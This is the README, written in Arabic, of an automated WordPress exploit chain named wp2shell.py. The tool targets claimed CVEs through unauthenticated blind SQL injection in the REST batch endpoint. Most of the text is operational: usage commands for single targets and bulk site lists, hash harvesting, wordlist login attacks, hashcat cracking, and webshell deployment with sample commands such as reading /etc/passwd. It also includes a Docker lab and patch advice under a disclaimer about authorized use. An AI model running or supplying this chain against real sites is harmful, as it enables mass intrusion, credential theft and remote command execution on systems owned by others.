
سلسلة استغلال آلية لـ CVE-2026-63030 / CVE-2026-60137 — حقن SQL أعمى غير مصادَق عليه عبر التباس مسار الدُفعات في REST لووردبريس. يستخرج تجزئات المستخدمين، يكسر بيانات الاعتماد، وينشر webshell. يدعم هدفًا واحدًا وقوائم مواقع مجمعة. لأغراض اختبار الأمان المصرح بها فقط.
حقن SQL أعمى عبر الخلط في مسارات REST للدفعات في WordPress — سلسلة استغلال آلية.
CVE-2026-63030 / CVE-2026-60137
| الإصدارات المتأثرة | WordPress 6.9.0 – 6.9.4 و 7.0.0 – 7.0.1 |
| الإصدار المُصلَح | WordPress 6.9.5 / 7.0.2 |
| نقطة الحقن | حقن SQL عبر author__not_in من معامل author_exclude المخلّ بالتزامن |
| مصادقة مطلوبة | لا (SQLi دون مصادقة) |
لأغراض الاختبار الأمني المصرح به فقط.
نقطة نهاية الدفعات في REST API الخاصة بـ WordPress (/wp-json/batch/v1) تسمح بطلبات دفعات متداخلة. حمولة عدم مزامنة مزدوجة التداخل تُزيح المصفوفتين الداخليتين $matches / $validation، لتوجيه قيمة author_exclude مُصمَّمة بعناية إلى SQL الخاصة بـ author__not_in دون تعقيم. وهذا يوفّر حقن SQL أعمى (منطقي وزمني) دون مصادقة.
سلسلة الاستغلال — 4 مراحل:
Phase 1 Vulnerability check batch marker probe + optional SQL timing
Phase 2 Hash harvest blind SQLi extracts wp_users (login + hash)
Phase 3 Authentication wordlist attack via wp-login.php
Phase 4 Webshell deployment plugin ZIP upload -> RCE verify
aiohttpcoloramapip install aiohttp colorama
هدف واحد
python wp2shell.py http://target.com
قائمة مواقع (رابط واحد في كل سطر)
python wp2shell.py sites.txt
قائمة مواقع + ملف كلمات مرور مخصّص
python wp2shell.py sites.txt -p pass.txt
بيانات اعتماد معروفة (تخطّي قائمة الكلمات)
python wp2shell.py http://target.com --user admin --password admin123
تأكيد SQLi عبر التوقيت
python wp2shell.py http://target.com --confirm-sqli
بدون روابط دائمة جميلة (Pretty Permalinks)
python wp2shell.py http://target.com --rest-route
عبر وكيل Burp
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
| الملف | المحتوى |
|---|---|
creds.txt | http://target=>user:pass (نص صريح إذا تم كسرها، تجزئة إذا لم يتم) |
webshell.txt | رابط الويب شيل النشط |
VULNERABLE.txt | جميع الأهداف التي تأكدت إصابتها بالثغرة في المرحلة 1 |
جميع الملفات يُلحق بها — تتراكم النتائج عبر مرات التشغيل.
استخدام الويب شيل — أضِف ?cmd=COMMAND إلى الرابط الموجود في webshell.txt:
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
إذا لم تنجح قائمة الكلمات، يحتوي creds.txt على التجزئة المستخرجة:
hashcat -m 400 creds.txt wordlist.txt
ثم أعد التشغيل بكلمة المرور المكسورة:
python wp2shell.py http://target.com --user admin --password <plaintext>
يُشغّل نسخة WordPress 7.0.1 قابلة للاستغلال لاختبار محلي آمن.
أول تشغيل — بناء وحدات التخزين وتثبيت WordPress:
docker compose up -d db wordpress
docker compose run --rm wpcli
عمليات التشغيل اللاحقة:
docker compose up -d db wordpress
الإيقاف:
docker compose down
إعادة تعيين كاملة (تمسح جميع البيانات):
docker compose down -v
تشغيل الاستغلال ضد المختبر:
python wp2shell.py http://localhost:8080
قم بالتحديث إلى WordPress 6.9.5 أو 7.0.2. يتحقق الإصلاح من مسار الدفعات قبل إرسال الطلبات المتداخلة، مما يمنع عدم المزامنة الذي يكشف نقطة حقن SQL.
للاستخدام على الأنظمة التي تملكها أو لديك تفويض كتابي صريح لاختبارها. الاستخدام غير المصرح به غير قانوني.
| الخيار | الافتراضي | الوصف |
|---|
target | — | رابط (http://target) أو مسار ملف قائمة المواقع |
-p FILE | — | ملف قائمة كلمات المرور (كلمة واحدة في كل سطر) |
--user | — | تخطَّ قائمة الكلمات واستخدم اسم المستخدم هذا |
--password | — | تخطَّ قائمة الكلمات واستخدم كلمة المرور هذه |
--confirm-sqli | off | إرسال استقصاء توقيت SQL نشط بعد فحص العلامة |
--rest-route | off | استخدام /?rest_route=/batch/v1 (بدون روابط دائمة جميلة) |
--sleep N | 3.0 | تأخير SLEEP() في SQL بالثواني |
--samples N | 3 | أزواج عينات التوقيت لحساب الوسيط |
--timeout N | 30.0 | مهلة طلب HTTP |
--prefix PREFIX | wp_ | بادئة جدول قاعدة البيانات |
--proxy URL | — | وكيل HTTP/HTTPS |
| الرابط | http://localhost:8080 |
| المدير | admin / admin123 |
| مضيف MySQL | db |
| مستخدم/كلمة مرور MySQL | wpuser / wppass |
| قاعدة البيانات | wordpress |